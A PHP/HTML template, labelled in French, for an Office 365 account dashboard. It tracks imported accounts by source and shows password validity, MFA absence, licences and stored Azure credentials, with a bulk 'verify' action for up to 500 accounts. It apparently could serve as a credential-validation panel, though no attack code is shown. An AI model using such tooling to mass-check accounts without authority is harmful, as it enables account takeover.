<div class="header">
<div>
<h1><i class="fab fa-microsoft"></i> Office 365 Management</h1>
<p>Gestion des comptes et workflow d'automatisation</p>
</div>
<div class="header-actions">
<button class="btn btn-help" onclick="openModal('helpModal')"><i class="fas fa-question-circle"></i> Aide</button>
<a href="index.php" class="btn btn-secondary"><i class="fas fa-home"></i> Dashboard</a>
<a href="office-accounts-edit.php" class="btn btn-primary"><i class="fas fa-edit"></i> Éditeur</a> <a href="office-import.php" class="btn btn-purple"><i class="fas fa-file-import"></i> Import Excel</a>
<button class="btn btn-success" onclick="openModal('addAccountModal')"><i class="fas fa-plus"></i> Nouveau</button>
</div>
</div>
<?php if ($message): ?>
<div class="message message-<?= $messageType ?>"><?= $message ?></div>
<?php endif; ?>
<div class="stats-grid">
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['total'] ?? 0 ?></div><div class="stat-label">Total Comptes</div></div>
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['valid_pwd'] ?? 0 ?></div><div class="stat-label">Password OK</div></div>
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['with_mfa'] ?? 0 ?></div><div class="stat-label">Avec MFA</div></div>
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['with_license'] ?? 0 ?></div><div class="stat-label">Avec Licence</div></div>
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['with_domains'] ?? 0 ?></div><div class="stat-label">Avec Domaines</div></div>
<div class="stat-card"><div class="stat-value"><?= count($huaweiServers) ?></div><div class="stat-label">Serveurs Huawei</div></div>
</div>
<div class="filters-card">
<form method="GET">
<div class="filters-grid">
<div class="filter-group">
<label><i class="fas fa-search"></i> Recherche</label>
<input type="text" name="search" class="filter-control" placeholder="Nom, tenant, email..." value="<?= htmlspecialchars($search) ?>">
</div>
<div class="filter-group">
<label>Status</label>
<select name="status" class="filter-control" onchange="this.form.submit()">
<option value="">Tous</option>
<option value="Active" <?= $filterStatus === 'Active' ? 'selected' : '' ?>>Active</option>
<option value="Pending" <?= $filterStatus === 'Pending' ? 'selected' : '' ?>>Pending</option>
<option value="Blocked" <?= $filterStatus === 'Blocked' ? 'selected' : '' ?>>Blocked</option>
</select>
</div>
<div class="filter-group">
<label>Password</label>
<select name="password" class="filter-control" onchange="this.form.submit()">
<option value="">Tous</option>
<option value="valid" <?= $filterPassword === 'valid' ? 'selected' : '' ?>>Valid</option>
<option value="invalid" <?= $filterPassword === 'invalid' ? 'selected' : '' ?>>Invalid</option>
<option value="tenant_gone" <?= $filterPassword === 'tenant_gone' ? 'selected' : '' ?>>Tenant Gone</option>
<option value="locked" <?= $filterPassword === 'locked' ? 'selected' : '' ?>>Locked</option>
</select>
</div>
<div class="filter-group">
<label>MFA</label>
<select name="mfa" class="filter-control" onchange="this.form.submit()">
<option value="">Tous</option>
<option value="yes" <?= $filterMfa === 'yes' ? 'selected' : '' ?>>Oui</option>
<option value="no" <?= $filterMfa === 'no' ? 'selected' : '' ?>>Non</option>
</select>
</div>
<div class="filter-group">
<label>Licence</label>
<select name="license" class="filter-control" onchange="this.form.submit()">
<option value="">Tous</option>
<option value="yes" <?= $filterLicense === 'yes' ? 'selected' : '' ?>>Oui</option>
<option value="no" <?= $filterLicense === 'no' ? 'selected' : '' ?>>Non</option>
</select>
</div>
<div class="filter-group">
<label>Source</label>
<select name="source" class="filter-control" onchange="this.form.submit()">
<option value="">Toutes</option>
<?php foreach ($sources as $src): ?>
<option value="<?= htmlspecialchars($src) ?>" <?= $filterSource === $src ? 'selected' : '' ?>><?= htmlspecialchars($src) ?></option>
<?php endforeach; ?>
</select>
</div>
<div class="filter-group">
<label>Domaines</label>
<select name="domains" class="filter-control" onchange="this.form.submit()">
<option value="">Tous</option>
<option value="yes" <?= $filterDomains === 'yes' ? 'selected' : '' ?>>Avec</option>
<option value="no" <?= $filterDomains === 'no' ? 'selected' : '' ?>>Sans</option>
</select>
</div>
<div class="filter-group">
<a href="office-management.php" class="btn btn-secondary btn-sm" style="margin-top: 22px;"><i class="fas fa-times"></i> Reset</a>
</div>
</div>
</form>
</div>
<div class="tabs">
<button class="tab active" onclick="showTab('accounts')"><i class="fas fa-users"></i> Comptes</button>
<button class="tab" onclick="showTab('sources')"><i class="fas fa-tags"></i> Sources</button>
</div>
<div id="tab-accounts" class="tab-content active">
<div class="card">
<div class="card-header">
<h3><i class="fas fa-list"></i> Liste des Comptes Office 365</h3>
<form method="POST" style="display:inline;">
<input type="hidden" name="action" value="verify_all">
<input type="hidden" name="filter_search" value="<?= htmlspecialchars($search ?? '') ?>">
<input type="hidden" name="filter_status" value="<?= htmlspecialchars($filterStatus ?? '') ?>">
<input type="hidden" name="filter_password" value="<?= htmlspecialchars($filterPassword ?? '') ?>">
<input type="hidden" name="filter_mfa" value="<?= htmlspecialchars($filterMfa ?? '') ?>">
<input type="hidden" name="filter_source" value="<?= htmlspecialchars($filterSource ?? '') ?>">
<input type="hidden" name="filter_license" value="<?= htmlspecialchars($filterLicense ?? '') ?>">
<input type="hidden" name="filter_domains" value="<?= htmlspecialchars($filterDomains ?? '') ?>">
<input type="number" name="limit" value="50" min="1" max="500" style="width:60px;padding:6px;border-radius:4px;border:1px solid #cbd5e1;text-align:center;" title="Max comptes">
<button type="submit" class="btn btn-warning btn-sm"><i class="fas fa-check-double"></i> Vérifier Filtrés</button>
</form>
</div>
<div class="results-count"><i class="fas fa-filter"></i> <?= count($accounts) ?> résultat(s)</div>
<div class="card-body">
<div style="overflow-x: auto; max-height: 600px;">
<table>
<thead>
<tr>
<th>ID</th>
<th>Source</th>
<th>Type</th>
<th>Nom</th>
<th>Tenant</th>
<th>Admin</th>
<th>Status</th>
<th>PWD</th>
<th>MFA</th>
<th>Creds</th>
<th>Lic.</th>
<th>Dom.</th>
<th>Étape</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php if (empty($accounts)): ?>
<tr><td colspan="14" style="text-align:center; padding: 40px; color:#64748b;">Aucun compte</td></tr>
<?php else: foreach ($accounts as $acc): ?>
<tr>
<td style="color:#64748b; font-size: 11px;"><?= $acc['id'] ?></td>
<td>
<?php if (!empty($acc['source'])): ?>
<span class="source-tag" title="<?= htmlspecialchars($acc['source']) ?>"><?= htmlspecialchars($acc['source']) ?></span>
<?php else: ?>
<span style="color: #cbd5e1; font-size: 10px;">—</span>
<?php endif; ?>
</td>
<td>
<?php if (!empty($acc['account_type'])): ?>
<span class="badge badge-info" style="font-size:9px;" title="<?= htmlspecialchars($acc['account_type']) ?>"><?= htmlspecialchars(substr($acc['account_type'], 0, 12)) ?><?= strlen($acc['account_type']) > 12 ? '...' : '' ?></span>
<?php else: ?>
<span style="color: #cbd5e1; font-size: 10px;">—</span>
<?php endif; ?>
</td>
<td><strong style="font-size: 11px;"><?= htmlspecialchars($acc['name']) ?></strong></td>
<td><code style="font-size: 9px;"><?= htmlspecialchars(substr($acc['tenant_domain'], 0, 20)) ?></code></td>
<td style="font-size: 10px; color:#64748b; max-width: 150px; overflow: hidden; text-overflow: ellipsis;"><?= htmlspecialchars($acc['admin_email'] ?? '-') ?></td>
<td>
<?php $s = $acc['status'] ?? 'Pending'; ?>
<span class="badge badge-<?= $s === 'Active' ? 'success' : ($s === 'Blocked' ? 'danger' : 'warning') ?>"><?= $s ?></span>
</td>
<td>
<?php $p = $acc['password_status'] ?? null; ?>
<?php if ($p === 'valid'): ?><span class="badge badge-success"><i class="fas fa-check"></i></span>
<?php elseif ($p === 'invalid'): ?><span class="badge badge-danger"><i class="fas fa-times"></i></span>
<?php elseif ($p === 'locked'): ?><span class="badge badge-warning"><i class="fas fa-lock"></i></span>
<?php elseif ($p === 'disabled'): ?><span class="badge badge-danger"><i class="fas fa-ban"></i></span>
<?php elseif ($p === 'not_found'): ?><span class="badge badge-secondary"><i class="fas fa-question"></i></span>
<?php elseif ($p === 'tenant_gone'): ?><span class="badge badge-dark"><i class="fas fa-building"></i></span>
<?php elseif ($p === 'expired'): ?><span class="badge badge-warning"><i class="fas fa-clock"></i></span>
<?php elseif ($p === 'error'): ?><span class="badge badge-danger"><i class="fas fa-exclamation"></i></span>
<?php else: ?><span class="badge badge-secondary">—</span><?php endif; ?>
</td>
<td>
<?php $m = $acc['has_mfa'] ?? null; ?>
<?php if ($m === true || $m === 't'): ?><span class="badge badge-purple"><i class="fas fa-shield-alt"></i></span>
<?php elseif ($m === false || $m === 'f'): ?><span class="badge badge-success"><i class="fas fa-unlock"></i></span>
<?php else: ?><span class="badge badge-secondary">—</span><?php endif; ?>
</td>
<td>
<?php $hasCreds = !empty($acc['client_id']) && !empty($acc['secret_id']) && !empty($acc['tenant_id']); ?>
<?php if ($hasCreds): ?>
<span class="badge badge-success" style="cursor:pointer" title="Client: <?= substr($acc['client_id'],0,8) ?>...">✅</span>
<?php else: ?>
<span class="badge badge-danger" title="Credentials Azure manquants">❌</span>
<?php endif; ?>
</td>
<td>
<?php $l = $acc['has_license'] ?? null; $mfa = $acc['has_mfa'] ?? null; ?>
<?php if ($l === true || $l === 't'): ?><span class="badge badge-success"><i class="fas fa-award"></i></span>
<?php elseif ($l === false || $l === 'f'): ?><span class="badge badge-danger"><i class="fas fa-times"></i></span>
<?php elseif ($mfa === true || $mfa === 't'): ?><span class="badge badge-info">MFA</span>
<?php else: ?><span class="badge badge-secondary">—</span><?php endif; ?>
</td>
<td>
<?php $d = $acc['domains_count'] ?? 0; ?>
<?php if ($d > 0): ?>
<form method="POST" style="display:inline;"><input type="hidden" name="action" value="show_domains"><input type="hidden" name="account_id" value="<?= $acc['id'] ?>">
<button type="submit" class="domains-btn"><?= $d ?></button></form>
<?php else: ?><span class="badge badge-secondary">0</span><?php endif; ?>
</td>
<td><span class="badge badge-info"><?= $acc['current_step'] ?? 0 ?>/7</span></td>
<td style="white-space: nowrap;">
<form method="POST" style="display:inline;"><input type="hidden" name="action" value="verify_account"><input type="hidden" name="account_id" value="<?= $acc['id'] ?>">
<button type="submit" class="action-btn action-btn-check" title="Vérifier"><i class="fas fa-sync-alt"></i></button></form>
<button class="action-btn action-btn-delete" onclick="deleteAccount(<?= $acc['id'] ?>)" title="Supprimer"><i class="fas fa-trash"></i></button>
</td>
</tr>
<?php endforeach; endif; ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
<!-- Onglet Sources -->
<div id="tab-sources" class="tab-content">
<div class="card">
<div class="card-header"><h3><i class="fas fa-tags"></i> Répartition par Source d'import</h3></div>
<div class="card-body" style="padding: 20px;">
<?php if (empty($sourceStats)): ?>
<p style="text-align: center; color: #64748b; padding: 40px;">Aucune source définie</p>
<?php else: ?>
<div class="grid-2">
<?php foreach ($sourceStats as $src): ?>
<div style="padding: 16px; background: #f0f9ff; border-radius: 10px; display: flex; justify-content: space-between; align-items: center;">
<div>
<span class="source-tag" style="font-size: 12px; max-width: none;"><?= htmlspecialchars($src['source'] ?? 'Non défini') ?></span>
</div>
<div style="font-size: 24px; font-weight: 700; color: #0891b2;"><?= $src['cnt'] ?></div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
</div>
</div>